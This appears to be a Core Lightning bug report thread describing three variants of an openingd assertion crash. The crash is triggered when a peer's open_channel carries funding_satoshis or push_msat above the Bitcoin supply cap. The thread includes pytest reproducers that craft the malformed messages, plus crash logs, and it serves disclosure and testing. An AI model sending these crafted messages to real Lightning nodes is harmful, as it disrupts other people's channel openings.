openingd crashes on assertion `wally_err == WALLY_OK` when peer sends `open_channel` with `funding_satoshis > WALLY_SATOSHI_MAX`

[NishantBansal2003]

Note: This is not a DoS issue. Only the openingd subdaemon for the offending channel dies (Owning subdaemon openingd died); the node keeps running and continues serving all other peers normally.

An attacker can crash a victim’s openingd by sending an open_channel message with a funding_satoshis value larger than the maximum Bitcoin supply (WALLY_SATOSHI_MAX). When openingd later builds the initial commitment transaction after sending accept_channel and receiving the funding_created message, libwally rejects the out-of-range amount, causing psbt_input_set_wit_utxo() to hit the assert(wally_err == WALLY_OK) check and abort the daemon.

Steps to reproduce

1. Send a valid open_channel with funding_satoshis > WALLY_SATOSHI_MAX (while keeping the remaining fields sufficiently valid)
2. Wait for CLN to send an accept_channel response.
3. Follow with a funding_created (it does not need to be otherwise valid).
4. openingd aborts while constructing the initial commitment tx.

Crash

lightning_openingd: bitcoin/psbt.c:444: psbt_input_set_wit_utxo: Assertion `wally_err == WALLY_OK' failed.

Root cause

funding_satoshis from open_channel is never bounds-checked against WALLY_SATOSHI_MAX. The invalid amount flows through to initial_commit_tx -> bitcoin_tx_add_input -> psbt_input_set_wit_utxo, where wally returns an error and the assertion fires.

Reproducing test

def test_fundee_oversized_funding_satoshi_crash(node_factory, chainparams):
    """A peer that opens with funding_satoshis > 21M BTC must not crash openingd."""
    import os
    import struct
    from pyln.proto import wire

    l1 = node_factory.get_node()
    lconn = wire.connect(
        wire.PrivateKey(bytes([1] * 32)),
        bytes.fromhex(l1.info["id"]),
        "127.0.0.1",
        l1.port,
    )
    lconn.connection.settimeout(30)
    init = lconn.read_message()
    assert int.from_bytes(init[0:2], "big") == 16
    lconn.send_message(init)

    temporary_channel_id = os.urandom(32)

    # Send an open_channel message with funding_satoshis greater than 21M BTC, while all
    # other fields are sufficiently valid.
    open_channel = (
        struct.pack(">H", 32)
        + bytes.fromhex(chainparams["chain_hash"])
        + temporary_channel_id
        + struct.pack(">Q", 2_100_000_000_000_100)
        + struct.pack(">Q", 0)
        + struct.pack(">Q", 546)
        + struct.pack(">Q", 2_100_000_000_000_100_000)
        + struct.pack(">Q", 10000)
        + struct.pack(">Q", 0)
        + struct.pack(">I", int(l1.rpc.feerates("perkw")["perkw"].get("opening", 3750)))
        + struct.pack(">H", 144)
        + struct.pack(">H", 483)
        + wire.PrivateKey(bytes([1] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([2] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([3] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([4] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([5] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([6] * 32)).public_key().serializeCompressed()
        + struct.pack("B", 0)
        + bytes([1, 3])
        + bytes([0x40, 0x10, 0x00])
    )
    lconn.send_message(open_channel)

    # The fundee will reply with an accept_channel message.
    while True:
        msg = lconn.read_message()
        mtype = int.from_bytes(msg[0:2], "big")
        if mtype == 33:  # accept_channel
            break
        assert mtype not in (1,17), "open_channel rejected before reaching the crash path: {}".format(msg.hex())

    # Now send a funding_created message with a dummy signature. The fundee builds the
    # initial commitment transaction (and currently crashes) before validating the signature.
    funding_created = (
        struct.pack(">H", 34)
        + temporary_channel_id
        + os.urandom(32)
        + struct.pack(">H", 0)
        + bytes(64)
    )
    lconn.send_message(funding_created)

    # Give openingd a moment to process the message and crash.
    l1.daemon.wait_for_log("STATUS_FAIL_INTERNAL_ERROR: FATAL SIGNAL")

CLN node logs

2026-06-15 19:57:23.060 | 2026-06-15T14:27:23.059Z DEBUG   034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-connectd: Activating for message WIRE_OPEN_CHANNEL
2026-06-15 19:57:23.070 | 2026-06-15T14:27:23.070Z DEBUG   034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: pid 561, msgfd 87
2026-06-15 19:57:23.071 | 2026-06-15T14:27:23.071Z DEBUG   hsmd: Client: Received message 30 from client
2026-06-15 19:57:23.071 | 2026-06-15T14:27:23.071Z DEBUG   hsmd: Client: Received message 10 from client
2026-06-15 19:57:23.071 | 2026-06-15T14:27:23.071Z DEBUG   hsmd: new_client: 1
2026-06-15 19:57:23.073 | 2026-06-15T14:27:23.073Z DEBUG   034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-hsmd: Got WIRE_HSMD_GET_PER_COMMITMENT_POINT
2026-06-15 19:57:23.073 | 2026-06-15T14:27:23.073Z DEBUG   hsmd: Client: Received message 18 from client
2026-06-15 19:57:23.073 | 2026-06-15T14:27:23.073Z DEBUG   034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: peer_in WIRE_OPEN_CHANNEL
2026-06-15 19:57:23.073 | 2026-06-15T14:27:23.073Z DEBUG   034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: Setting their reserve to 21000000000001sat
2026-06-15 19:57:23.076 | 2026-06-15T14:27:23.076Z DEBUG   034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: peer_out WIRE_ACCEPT_CHANNEL
2026-06-15 19:57:23.076 | 2026-06-15T14:27:23.076Z DEBUG   034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: billboard: Incoming channel: accepted, now waiting for them to create funding tx
2026-06-15 19:57:23.077 | 2026-06-15T14:27:23.077Z DEBUG   034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: peer_in WIRE_FUNDING_CREATED
2026-06-15 19:57:23.077 | 2026-06-15T14:27:23.077Z DEBUG   034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-hsmd: Got WIRE_HSMD_SETUP_CHANNEL
2026-06-15 19:57:23.077 | 2026-06-15T14:27:23.077Z DEBUG   hsmd: Client: Received message 31 from client
2026-06-15 19:57:23.082 | lightning_openingd: bitcoin/psbt.c:444: psbt_input_set_wit_utxo: Assertion `wally_err == WALLY_OK' failed.
2026-06-15 19:57:23.082 | lightning_openingd: FATAL SIGNAL 6 (version v25.12)
2026-06-15 19:57:23.086 | 0xaaaaae7e6fef ???
2026-06-15 19:57:23.086 | 	???:0
2026-06-15 19:57:23.086 | 0xaaaaae7e7097 ???
2026-06-15 19:57:23.086 | 	???:0
2026-06-15 19:57:23.086 | 0xffffaaa0d79f ???
2026-06-15 19:57:23.086 | 	???:0
2026-06-15 19:57:23.086 | 0xffffaa763c18 ???
2026-06-15 19:57:23.086 | 	???:0
2026-06-15 19:57:23.086 | 0xffffaa71a8ab raise
2026-06-15 19:57:23.086 | 	???:0
2026-06-15 19:57:23.086 | 0xffffaa70747f abort
2026-06-15 19:57:23.086 | 	???:0
2026-06-15 19:57:23.086 | 0xffffaa7142d7 ???
2026-06-15 19:57:23.086 | 	???:0
2026-06-15 19:57:23.086 | 0xffffaa71433b __assert_fail
2026-06-15 19:57:23.086 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae8024d7 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae80913f ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae7eb023 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae7ea897 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae7d599f ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae7d4a6f ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xffffaa707743 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xffffaa707817 __libc_start_main
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae7d4faf ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xffffffffffffffff ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | lightning_openingd: FATAL SIGNAL (version v25.12)
2026-06-15 19:57:23.087 | 0xaaaaae7e6fef ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae7eea5b ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae7eeb97 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae7e70a7 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xffffaaa0d79f ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xffffaa763c18 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xffffaa71a8ab raise
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xffffaa70747f abort
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xffffaa7142d7 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xffffaa71433b __assert_fail
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae8024d7 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae80913f ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae7eb023 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 0xaaaaae7ea897 ???
2026-06-15 19:57:23.087 | 	???:0
2026-06-15 19:57:23.087 | 2026-06-15T14:27:23.087Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: FATAL SIGNAL 6 (version v25.12)
2026-06-15 19:57:23.088 | 0xaaaaae7d599f ???
2026-06-15 19:57:23.088 | 	???:0
2026-06-15 19:57:23.088 | 0xaaaaae7d4a6f ???
2026-06-15 19:57:23.088 | 	???:0
2026-06-15 19:57:23.088 | 0xffffaa707743 ???
2026-06-15 19:57:23.088 | 	???:0
2026-06-15 19:57:23.088 | 0xffffaa707817 __libc_start_main
2026-06-15 19:57:23.088 | 	???:0
2026-06-15 19:57:23.088 | 0xaaaaae7d4faf ???
2026-06-15 19:57:23.088 | 	???:0
2026-06-15 19:57:23.088 | 0xffffffffffffffff ???
2026-06-15 19:57:23.088 | 	???:0
2026-06-15 19:57:23.088 | 2026-06-15T14:27:23.088Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7e7097
2026-06-15 19:57:23.089 | 2026-06-15T14:27:23.088Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xffffaaa0d79f
2026-06-15 19:57:23.089 | 2026-06-15T14:27:23.089Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xffffaa763c18
2026-06-15 19:57:23.090 | 2026-06-15T14:27:23.089Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 (raise) 0xffffaa71a8ab
2026-06-15 19:57:23.090 | 2026-06-15T14:27:23.090Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 (abort) 0xffffaa70747f
2026-06-15 19:57:23.090 | 2026-06-15T14:27:23.090Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xffffaa7142d7
2026-06-15 19:57:23.091 | 2026-06-15T14:27:23.091Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 (__assert_fail) 0xffffaa71433b
2026-06-15 19:57:23.091 | 2026-06-15T14:27:23.091Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae8024d7
2026-06-15 19:57:23.092 | 2026-06-15T14:27:23.091Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae80913f
2026-06-15 19:57:23.092 | 2026-06-15T14:27:23.092Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7eb023
2026-06-15 19:57:23.092 | 2026-06-15T14:27:23.092Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7ea897
2026-06-15 19:57:23.092 | 2026-06-15T14:27:23.092Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7d599f
2026-06-15 19:57:23.092 | 2026-06-15T14:27:23.092Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7d4a6f
2026-06-15 19:57:23.093 | 2026-06-15T14:27:23.093Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xffffaa707743
2026-06-15 19:57:23.093 | 2026-06-15T14:27:23.093Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 (__libc_start_main) 0xffffaa707817
2026-06-15 19:57:23.094 | 2026-06-15T14:27:23.094Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7d4faf
2026-06-15 19:57:23.094 | 2026-06-15T14:27:23.094Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xffffffffffffffff
2026-06-15 19:57:23.094 | 2026-06-15T14:27:23.094Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: FATAL SIGNAL (version v25.12)
2026-06-15 19:57:23.094 | 2026-06-15T14:27:23.094Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7eea5b
2026-06-15 19:57:23.095 | 2026-06-15T14:27:23.094Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7eeb97
2026-06-15 19:57:23.095 | 2026-06-15T14:27:23.095Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7e70a7
2026-06-15 19:57:23.095 | 2026-06-15T14:27:23.095Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xffffaaa0d79f
2026-06-15 19:57:23.095 | 2026-06-15T14:27:23.095Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xffffaa763c18
2026-06-15 19:57:23.096 | 2026-06-15T14:27:23.096Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 (raise) 0xffffaa71a8ab
2026-06-15 19:57:23.096 | 2026-06-15T14:27:23.096Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 (abort) 0xffffaa70747f
2026-06-15 19:57:23.096 | 2026-06-15T14:27:23.096Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xffffaa7142d7
2026-06-15 19:57:23.096 | 2026-06-15T14:27:23.096Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 (__assert_fail) 0xffffaa71433b
2026-06-15 19:57:23.097 | 2026-06-15T14:27:23.097Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae8024d7
2026-06-15 19:57:23.097 | 2026-06-15T14:27:23.097Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae80913f
2026-06-15 19:57:23.098 | 2026-06-15T14:27:23.097Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7eb023
2026-06-15 19:57:23.098 | 2026-06-15T14:27:23.098Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7ea897
2026-06-15 19:57:23.098 | 2026-06-15T14:27:23.098Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7d599f
2026-06-15 19:57:23.098 | 2026-06-15T14:27:23.098Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7d4a6f
2026-06-15 19:57:23.099 | 2026-06-15T14:27:23.098Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xffffaa707743
2026-06-15 19:57:23.099 | 2026-06-15T14:27:23.099Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 (__libc_start_main) 0xffffaa707817
2026-06-15 19:57:23.100 | 2026-06-15T14:27:23.099Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xaaaaae7d4faf
2026-06-15 19:57:23.100 | 2026-06-15T14:27:23.100Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: backtrace: (null):0 ((null)) 0xffffffffffffffff
2026-06-15 19:57:23.100 | 2026-06-15T14:27:23.100Z **BROKEN** 034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-openingd-chan#1: STATUS_FAIL_INTERNAL_ERROR: FATAL SIGNAL
2026-06-15 19:57:23.100 | 2026-06-15T14:27:23.100Z INFO    034f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa-chan#1: Owning subdaemon openingd died (61952)
2026-06-15 19:57:23.413 | 2026-06-15T14:27:23.413Z DEBUG   gossipd: seeker: need more peers for gossip (have 1)
2026-06-15 19:57:23.413 | 2026-06-15T14:27:23.413Z DEBUG   gossipd: seeker: no more potential peers found
2026-06-15 19:57:23.728 | 2026-06-15T14:27:23.728Z DEBUG   lightningd: Adding block 5: 613034483a770c971455b3b095d4a15d00f3fd1c7083e8de504dc3efbd069c6d
2026-06-15 19:57:23.750 | 2026-06-15T14:27:23.750Z DEBUG   lightningd: Adding block 6: 475a7a4ee2c5261c0554f58200ee1de6995c239404824ed91856da777e5076ad
2026-06-15 19:57:23.773 | 2026-06-15T14:27:23.773Z DEBUG   lightningd: Adding block 7: 5ab45ba483350c8726b15204f4a304dc27aafce66bd74ae402e6faf6dc21f046

The impact is limited because openingd is a per-channel subdaemon, so only the channel associated with the malicious peer is affected, other channels and node functionality continue operating normally. However, CLN should ideally detect the invalid funding_satoshis value and fail the channel establishment gracefully rather than terminating the subdaemon via an assertion failure.

This bug was discovered while fuzzing the funding flow using the smite

[NishantBansal2003]

There is another crash in openingd that occurs when both push_msat and funding_satoshis exceed 21M BTC. The above issue only required funding_satoshis to be greater than 21M BTC, whereas this panic path is triggered when push_msat also exceeds that limit.

Since push_msat must be less than funding_satoshis, this should be fixed by the same cap on funding_satoshis. Because of that, I think it makes sense to reference it in the same thread.

The repro steps are the same as before, just set push_msat to a value greater than 21M BTC as well to trigger this panic path.

Crash

lightning_openingd: bitcoin/tx.c:76: bitcoin_tx_add_output: Assertion `output' failed.

Root cause

funding_satoshis/push_msat from open_channel are never bounds-checked against WALLY_SATOSHI_MAX. The invalid amount flows through to initial_commit_tx -> bitcoin_tx_add_output -> wally_tx_output, where wally returns an error (output is NULL) and the assert(output) fires.

Reproducing test

def test_fundee_oversized_funding_satoshi_crash(node_factory, chainparams):
    """A peer that opens with funding_satoshis and push_msat > 21M BTC must not crash openingd."""
    import os
    import struct
    from pyln.proto import wire

    l1 = node_factory.get_node()
    lconn = wire.connect(
        wire.PrivateKey(bytes([1] * 32)),
        bytes.fromhex(l1.info["id"]),
        "127.0.0.1",
        l1.port,
    )
    lconn.connection.settimeout(30)
    init = lconn.read_message()
    assert int.from_bytes(init[0:2], "big") == 16
    lconn.send_message(init)

    temporary_channel_id = os.urandom(32)

    # Send an open_channel message with funding_satoshis and push_msat greater than 21M BTC, while all
    # other fields are sufficiently valid.
    open_channel = (
        struct.pack(">H", 32)
        + bytes.fromhex(chainparams["chain_hash"])
        + temporary_channel_id
        + struct.pack(">Q", 2_100_000_000_200_000)
        + struct.pack(">Q", 2_100_000_000_000_100_000)
        + struct.pack(">Q", 546)
        + struct.pack(">Q", 2_100_000_000_200_000_000)
        + struct.pack(">Q", 10000)
        + struct.pack(">Q", 0)
        + struct.pack(">I", int(l1.rpc.feerates("perkw")["perkw"].get("opening", 3750)))
        + struct.pack(">H", 144)
        + struct.pack(">H", 483)
        + wire.PrivateKey(bytes([1] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([2] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([3] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([4] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([5] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([6] * 32)).public_key().serializeCompressed()
        + struct.pack("B", 0)
        + bytes([1, 3])
        + bytes([0x40, 0x10, 0x00])
    )
    lconn.send_message(open_channel)

    # The fundee will reply with an accept_channel message.
    while True:
        msg = lconn.read_message()
        mtype = int.from_bytes(msg[0:2], "big")
        if mtype == 33:  # accept_channel
            break
        assert mtype not in (1,17), "open_channel rejected before reaching the crash path: {}".format(msg.hex())

    # Now send a funding_created message with a dummy signature. The fundee builds the
    # initial commitment transaction (and currently crashes) before validating the signature.
    funding_created = (
        struct.pack(">H", 34)
        + temporary_channel_id
        + os.urandom(32)
        + struct.pack(">H", 0)
        + bytes(64)
    )
    lconn.send_message(funding_created)

    # Give openingd a moment to process the message and crash.
    l1.daemon.wait_for_log("STATUS_FAIL_INTERNAL_ERROR: FATAL SIGNAL")

This bug was discovered while fuzzing the funding flow using the smite

[NishantBansal2003]

There's a third variant of this crash, and it's distinct from the previous comment in an interesting way.

The earlier path tripped because a single output exceeded WALLY_SATOSHI_MAX. This one is the opposite: pick push_msat so that every individual output stays under WALLY_SATOSHI_MAX, but their combined value exceeds it. The per-output check now passes, and instead wally rejects the aggregate, firing the next assertion down.

So, I think this should also be fixed by the same cap on funding_satoshis.

Crash

lightning_openingd: bitcoin/tx.c:79: bitcoin_tx_add_output: Assertion `ret == WALLY_OK' failed.

Root cause

Same missing bounds check on funding_satoshis from open_channel. Here the invalid amount flows through initial_commit_tx -> bitcoin_tx_add_output -> wally_tx_add_output, where each output passes the individual check but the running total of all outputs overflows WALLY_SATOSHI_MAX in wally_tx_add_output_at, so the assertion fires.

Reproducing test

def test_fundee_oversized_funding_satoshi_crash(node_factory, chainparams):
    """A peer that opens with funding_satoshis > 21M BTC must not crash openingd."""
    import os
    import struct
    from pyln.proto import wire

    l1 = node_factory.get_node()
    lconn = wire.connect(
        wire.PrivateKey(bytes([1] * 32)),
        bytes.fromhex(l1.info["id"]),
        "127.0.0.1",
        l1.port,
    )
    lconn.connection.settimeout(30)
    init = lconn.read_message()
    assert int.from_bytes(init[0:2], "big") == 16
    lconn.send_message(init)

    temporary_channel_id = os.urandom(32)

    # Send an open_channel message with funding_satoshis greater than 21M BTC, while all
    # other fields are sufficiently valid.
    open_channel = (
        struct.pack(">H", 32)
        + bytes.fromhex(chainparams["chain_hash"])
        + temporary_channel_id
        + struct.pack(">Q", 2_100_000_000_200_000)
        + struct.pack(">Q", 300_000_000)
        + struct.pack(">Q", 546)
        + struct.pack(">Q", 2_100_000_000_200_000_000)
        + struct.pack(">Q", 10000)
        + struct.pack(">Q", 0)
        + struct.pack(">I", int(l1.rpc.feerates("perkw")["perkw"].get("opening", 3750)))
        + struct.pack(">H", 144)
        + struct.pack(">H", 483)
        + wire.PrivateKey(bytes([1] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([2] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([3] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([4] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([5] * 32)).public_key().serializeCompressed()
        + wire.PrivateKey(bytes([6] * 32)).public_key().serializeCompressed()
        + struct.pack("B", 0)
        + bytes([1, 3])
        + bytes([0x40, 0x10, 0x00])
    )
    lconn.send_message(open_channel)

    # The fundee will reply with an accept_channel message.
    while True:
        msg = lconn.read_message()
        mtype = int.from_bytes(msg[0:2], "big")
        if mtype == 33:  # accept_channel
            break
        assert mtype not in (1,17), "open_channel rejected before reaching the crash path: {}".format(msg.hex())

    # Now send a funding_created message with a dummy signature. The fundee builds the
    # initial commitment transaction (and currently crashes) before validating the signature.
    funding_created = (
        struct.pack(">H", 34)
        + temporary_channel_id
        + os.urandom(32)
        + struct.pack(">H", 0)
        + bytes(64)
    )
    lconn.send_message(funding_created)

    # Give openingd a moment to process the message and crash.
    l1.daemon.wait_for_log("STATUS_FAIL_INTERNAL_ERROR: FATAL SIGNAL")

This bug was discovered while fuzzing the funding flow using the smite